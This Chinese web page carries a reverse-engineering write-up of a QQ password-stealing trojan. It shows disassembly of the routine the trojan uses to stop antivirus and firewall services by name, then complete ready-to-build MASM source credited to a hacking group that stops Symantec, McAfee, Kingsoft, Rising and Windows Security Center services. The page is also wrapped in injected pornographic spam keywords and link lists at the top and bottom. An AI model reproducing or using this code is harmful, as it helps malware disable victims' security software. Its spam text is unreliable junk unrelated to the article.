男人吃奶摸下挵进去好爽,日日躁夜夜躁狠狠躁,freesexvide0s性欧美高清,高清freexxxx性国产,无码人妻一区二区三区一,乱人伦中文字幕成人网站在线,亚洲欧美综合一区二区三区 ,神马影院在线视频观看
知識學堂
  • ·聯系電話:+86.023-75585550
  • ·聯系傳真:+86.023-75585550
  • ·24小時手機:13896886023
  • ·QQ 咨 詢:361652718 513960520
當前位置 > 首頁 > 知識學堂 > 常見技術問題
不完全逆向分析啊拉QQ大盜
更新時間:2012-04-08 | 發布人:本站 | 點擊率:433
啊拉QQ大盜有幾個部分,大家看一下他的功能:




運行后關閉QQ,安裝后刪除自身,過濾重復號碼,徹底墜毀防火墻等等.其中我最感興趣的還是看看啊拉QQ大盜是怎么墜毀防火墻的,故挑了重點對它進行逆向分析.這個服務端是加了個殼.我對脫殼白癡,所以叫冷血書生幫我脫了.廢話少說,下面是反匯編代碼:
CODE:

.shrink:0040A0AA           mov   eax, offset s_Rsccenter ; "RsCCenter"
.shrink:0040A0AF           call   sub_4095FC   ;干掉如下防火墻服務..  
.shrink:0040A0AF
.shrink:0040A0B4           mov   eax, offset s_Kvsrvxp ; "KVSrvXP"
.shrink:0040A0B9           call   sub_4095FC    
.shrink:0040A0B9
.shrink:0040A0BE           mov   eax, offset s_Kavsvc ; "kavsvc"
.shrink:0040A0C3           call   sub_4095FC    
.shrink:0040A0C3
.shrink:0040A0C8           mov   eax, offset s_Kpfwsvc ; "KPfwSvc"
.shrink:0040A0CD           call   sub_4095FC    
.shrink:0040A0CD
.shrink:0040A0D2           mov   eax, offset s_Kwatchsvc ; "KWatchSvc"
.shrink:0040A0D7           call   sub_4095FC    
.shrink:0040A0D7
.shrink:0040A0DC           mov   eax, offset s_Wscsvc ; "wscsvc"
.shrink:0040A0E1           call   sub_4095FC    
.shrink:0040A0E1
.shrink:0040A0E6           mov   eax, offset s_Sndsrvc ; "SNDSrvc"
.shrink:0040A0EB           call   sub_4095FC    
.shrink:0040A0EB
.shrink:0040A0F0           mov   eax, offset s_Ccproxy ; "ccProxy"
.shrink:0040A0F5           call   sub_4095FC    
.shrink:0040A0F5
.shrink:0040A0FA           mov   eax, offset s_Ccevtmgr ; "ccEvtMgr"
.shrink:0040A0FF           call   sub_4095FC    
.shrink:0040A0FF
.shrink:0040A104           mov   eax, offset s_Ccsetmgr ; "ccSetMgr"
.shrink:0040A109           call   sub_4095FC    
.shrink:0040A109
.shrink:0040A10E           mov   eax, offset s_Spbbcsvc ; "SPBBCSvc"
.shrink:0040A113           call   sub_4095FC    
.shrink:0040A113
.shrink:0040A118           mov   eax, offset s_SymantecCoreL ; "Symantec Core LC"
.shrink:0040A11D           call   sub_4095FC    
.shrink:0040A11D
.shrink:0040A122           mov   eax, offset s_Navapsvc ; "navapsvc"
.shrink:0040A127           call   sub_4095FC    
.shrink:0040A127
.shrink:0040A12C           mov   eax, offset s_Npfmntor ; "NPFMntor"
.shrink:0040A131           call   sub_4095FC    
.shrink:0040A131
.shrink:0040A136           mov   eax, offset s_Mskservice ; "MskService"
.shrink:0040A13B           call   sub_4095FC    
.shrink:0040A13B
.shrink:0040A140           mov   eax, offset s_Mctaskmanager ; "McTaskManager"
.shrink:0040A145           call   sub_4095FC    
.shrink:0040A145
.shrink:0040A14A           mov   eax, offset s_Mcshield ; "McShield"
.shrink:0040A14F           call   sub_4095FC    
.shrink:0040A14F
.shrink:0040A154           mov   eax, offset s_Mcafeeframewo ; "McAfeeFramework"
.shrink:0040A159           call   sub_4095FC    
.shrink:0040A159
.shrink:0040A15E
.shrink:0040A15E loc_40A15E:                   ; CODE XREF: .shrink:0040A16D j
.shrink:0040A15E           call   sub_409064
.shrink:0040A15E
.shrink:0040A163           push   0BB8h      
.shrink:0040A168           call   Sleep       ;休眠
.shrink:0040A168
.shrink:0040A16D           jmp   short loc_40A15E
.shrink:0040A16D
[Copy to clipboard]


  很明顯,通過一個參數傳遞給sub_4095FC這個分支,而這個參數正好是一些常見的殺毒軟件服務名稱.所以這個函數應該這樣構造:char sub_4095FC(int buffer)(C語言語法)把這個名稱傳遞給sub_4095FC干什么捏?大家請看sub_4095FC這個分支:
CODE:

.shrink:004095FC sub_4095FC     proc near      
.shrink:004095FC                          
.shrink:004095FC                          
.shrink:004095FC                          
.shrink:004095FC                          
.shrink:004095FC                          
.shrink:004095FC
.shrink:004095FC var_4       = dword ptr -4 ;傳遞進來的參數
.shrink:004095FC
.shrink:004095FC           push   ebp
.shrink:004095FD           mov   ebp, esp
.shrink:004095FF           push   ecx
.shrink:00409600           push   ebx
.shrink:00409601           push   esi
.shrink:00409602           push   edi
.shrink:00409603           mov   [ebp+var_4], eax
.shrink:00409606           mov   eax, [ebp+var_4]
.shrink:00409609           call   sub_403ED0
.shrink:00409609
.shrink:0040960E           xor   eax, eax
.shrink:00409610           push   ebp
.shrink:00409611           push   offset s_SUIL_YN@ ; "榕瀄xFF\xFF膃嬅_^[Y]脥@" (這里已經被加密)
.shrink:00409616           push   dword ptr fs:[eax]
.shrink:00409619           mov   fs:[eax], esp
.shrink:0040961C           mov   eax, [ebp+var_4]
.shrink:0040961F           call   sub_403EE0
.shrink:0040961F
.shrink:00409624           mov   esi, eax
.shrink:00409626           push   0F003Fh       ; dwDesiredAccess
.shrink:0040962B           push   0           ; lpDatabaseName
.shrink:0040962D           push   0           ; lpMachineName
.shrink:0040962F           call   OpenSCManagerA ; 打開服務管理器
.shrink:0040962F
.shrink:00409634           mov   edi, eax     ; 保存句柄到edi
.shrink:00409636           test   edi, edi     ; 是否打開成功?
.shrink:00409638           jbe   short loc_4096A8 ; 打開成功,繼續執行,反之跳到這里
.shrink:00409638
.shrink:0040963A           push   0F01FFh       ; dwDesiredAccess
.shrink:0040963F           push   esi         ; lpServiceName
.shrink:00409640           push   edi         ; hSCManager
.shrink:00409641           call   OpenServiceA   ; 打開一個防火墻的服務
.shrink:00409641
.shrink:00409646           mov   esi, eax
.shrink:00409648           test   esi, esi
.shrink:0040964A           jbe   short loc_4096A2 ; 打開出錯 關閉句柄
.shrink:0040964A
.shrink:0040964C           push   offset ServiceStatus ; lpServiceStatus
.shrink:00409651           push   1           ; dwControl
.shrink:00409653           push   esi         ; hService
.shrink:00409654           call   ControlService ; 停止人家的防火墻的服務
.shrink:00409654
.shrink:00409659           test   eax, eax
.shrink:0040965B           jz     short loc_4096A8
.shrink:0040965B
.shrink:0040965D           push   3E8h         ; dwMilliseconds
.shrink:00409662           call   Sleep       ; 休眠1000秒
.shrink:00409662
.shrink:00409667           jmp   short loc_40967C
.shrink:00409667
.shrink:00409669 ; ---------------------------------------------------------------------------
.shrink:00409669
.shrink:00409669 loc_409669:                  
.shrink:00409669           cmp   ServiceStatus.dwCurrentState,3 ;是否是SERVICE_STOP_PENDING狀態
.shrink:00409670           jnz   short loc_40968B
.shrink:00409670
.shrink:00409672           push   3E8h         ; dwMilliseconds
.shrink:00409677           call   Sleep       ;休眠
.shrink:00409677
.shrink:0040967C
.shrink:0040967C loc_40967C:                  
.shrink:0040967C           push   offset ServiceStatus ; lpServiceStatus
.shrink:00409681           push   esi         ; hService
.shrink:00409682           call   QueryServiceStatus ; 查詢設備驅動器的當前狀態
.shrink:00409682
.shrink:00409687           test   eax, eax
.shrink:00409689           jnz   short loc_409669 ; 查詢未成功,繼續休泯,然后再查詢
.shrink:00409689
.shrink:0040968B
.shrink:0040968B loc_40968B:                  
.shrink:0040968B           cmp   ServiceStatus.dwCurrentState, 1
.shrink:00409692           jz     short loc_4096A8 ; 對比是否收到控制代碼SERVICE_STOP_PENDING
.shrink:00409692
.shrink:00409694           push   esi         ; hSCObject
.shrink:00409695           call   CloseServiceHandle ; 關閉這個服務
.shrink:00409695
.shrink:0040969A           push   edi         ; hSCObject
.shrink:0040969B           call   CloseServiceHandle
.shrink:0040969B
.shrink:004096A0           jmp   short loc_4096A8
.shrink:004096A0
.shrink:004096A2 ; ---------------------------------------------------------------------------
.shrink:004096A2
.shrink:004096A2 loc_4096A2:                  
.shrink:004096A2           push   edi         ; hSCObject
.shrink:004096A3           call   CloseServiceHandle ; 關閉打開服務管理器的句柄
.shrink:004096A3
.shrink:004096A8
.shrink:004096A8 loc_4096A8:                  
.shrink:004096A8                          
.shrink:004096A8                          
.shrink:004096A8                          
.shrink:004096A8           xor   eax, eax
.shrink:004096AA           pop   edx
.shrink:004096AB           pop   ecx
.shrink:004096AC           pop   ecx
.shrink:004096AD           mov   fs:[eax], edx
.shrink:004096B0           push   4096C5h ; <suspicious>
.shrink:004096B5           lea   eax, [ebp+var_4]
.shrink:004096B8           call   sub_403B68
.shrink:004096B8
.shrink:004096BD           retn
.shrink:004096BD
.shrink:004096BD sub_4095FC     endp ; sp = -18h
[Copy to clipboard]

      原來是通過連接服務器設備管理器來關閉服務,如果函數ControlService執行不成功的話,就關閉句柄退了出去,反之,查詢一下ControlService函數關閉后管理器返回的ServiceStatus的結構成員dwCurrentState的值非SERVICE_STOP_PENDING的標志,就代表關閉成功,就可以關閉這個服務了.其實這是很簡單的.

    下面就給出匯編源代碼
CODE:

;******************************************************************
;程序編寫by Asm
;日期:2007-3-07日
;出處:http://www.wolfexp.net/(紅狼安全小組)
;注意事項:如欲轉載,請保持本程序的完整,并注明:
;轉載自 紅狼安全小組(http://www.wolfexp.net/)
;注意事項:公布源碼僅限技術交流,如果使用引起的損失,由使用者自己全部負責!
;*****************************************************************

.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include advapi32.inc

includelib kernel32.lib
includelib advapi32.lib

_CloseService PROTO :DWORD

.data
s_Rsccenter db "RsCCenter"
s_Kvsrvxp db "KVSrvXP"
s_Kavsvc db "kavsvc"
s_Kpfwsvc db "KPfwSvc"
s_Kwatchsvc db "KWatchSvc"
s_Wscsvc db "wscsvc"
s_Sndsrvc db "SNDSrvc"
s_Ccproxy db "ccProxy"
s_Ccevtmgr db "ccEvtMgr"
s_Ccsetmgr db "ccSetMgr"
s_Spbbcsvc db "SPBBCSvc"
s_SymantecCoreL db "Symantec Core LC"
s_Navapsvc db "navapsvc"
s_Npfmntor db "NPFMntor"
s_Mskservice db "MskService"
s_Mctaskmanager db "McTaskManager"
s_Mcshield db "McShield"
s_Mcafeeframewo db "McAfeeFramework"

.code
_CloseService proc _Service
local hSCManager:DWORD
local hService:DWORD
local ServiceStatus:SERVICE_STATUS
  invoke OpenSCManager,NULL,NULL, SC_MANAGER_CREATE_SERVICE ;連接服務管理器
  .if eax!=0
      mov   hSCManager, eax ;連接成功,返回一個句柄
  .elseif
  jmp ExitSCManager
  .endif
      invoke OpenService, hSCManager,_Service,0F01FFh ;打開服務
      .if eax!=0
        mov hService,eax
    .elseif
    jmp ExitSCManager
      .endif
      invoke ControlService,hService,SERVICE_CONTROL_STOP,addr ServiceStatus ;停止防火墻的服務
      .if eax == NULL
      jmp ExitSCManager
      .endif
      invoke Sleep,1000
      invoke QueryServiceStatus,hService,addr ServiceStatus ;查詢返回的標志
      .if eax != NULL
      cmp ServiceStatus.dwCurrentState,SERVICE_STOP_PENDING ;獲取SERVICE_STOP_PENDING標志代表關閉成功
      jnz ColseIt
      .endif
     
ColseIt:
cmp ServiceStatus.dwCurrentState,1h
jz ExitSCManager
invoke CloseServiceHandle,hService
invoke CloseServiceHandle,hSCManager

ExitSCManager:
invoke CloseServiceHandle, hSCManager
invoke ExitProcess,NULL
_CloseService endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke _CloseService,addr s_Rsccenter
invoke _CloseService,addr s_Kvsrvxp
invoke _CloseService,addr s_Kavsvc
invoke _CloseService,addr s_Kpfwsvc
invoke _CloseService,addr s_Kwatchsvc
invoke _CloseService,addr s_Wscsvc
invoke _CloseService,addr s_Sndsrvc
invoke _CloseService,addr s_Ccproxy
invoke _CloseService,addr s_Ccevtmgr
invoke _CloseService,addr s_Ccsetmgr
invoke _CloseService,addr s_Spbbcsvc
invoke _CloseService,addr s_SymantecCoreL
invoke _CloseService,addr s_Navapsvc
invoke _CloseService,addr s_Npfmntor
invoke _CloseService,addr s_Mskservice
invoke _CloseService,addr s_Mctaskmanager
invoke _CloseService,addr s_Mcshield
invoke _CloseService,addr s_Mcafeeframewo
end start
分享到: QQ空間 新浪微博 開心網 人人網
主站蜘蛛池模板: 少妇性xxxxxxxxx色| 亚洲色图片区| 国产乱子伦真实| 国产成人8x视频网站入口| 99久久久国产精品消防器材| 丰满少妇a级毛片| 一个人在线观看免费完整版| 99久热re在线精品99 6热视频| 毛片免费视频在线观看| 韩国18禁啪啪无遮挡免费| 《熟妇的荡欲》在线观看| 黑森林av导航| 中文无码熟妇人妻av在线| 一本加勒比hezyo无码人妻| 三级4级全黄| 国产成年女人毛片80s网站| 国产无吗一区二区三区在线欢| 亚洲av无码一区二区三区网站| 在线观看mv免费视频网站| 国产suv精品一区二区69| 日本黄色二区三区免费观看| 欧美成人aaa片一区国产精品| 成年日韩片av在线网站| 国产精品国产三级国产aⅴ下载| 亚洲三级黄色大片| 少妇粗大进出白浆嘿嘿视频| 好姑娘免费中文在线观看| 少妇无码av无码专区线| 久久精品国产亚洲av九| 国产一区二区三区在线视頻 | 久久精品国产亚洲av无码偷窥| 少妇被粗大的猛烈进出小说网 | 国产久热精品无码激情| 亚洲国产v高清在线观看| 欧美巨大xxxx做受| 欧洲男同gay| 欧美人妻体内射射| 又硬又粗进去好爽免费| 亚洲无av在线中文字幕| 久久露脸国产精品| 午夜性做爰电影|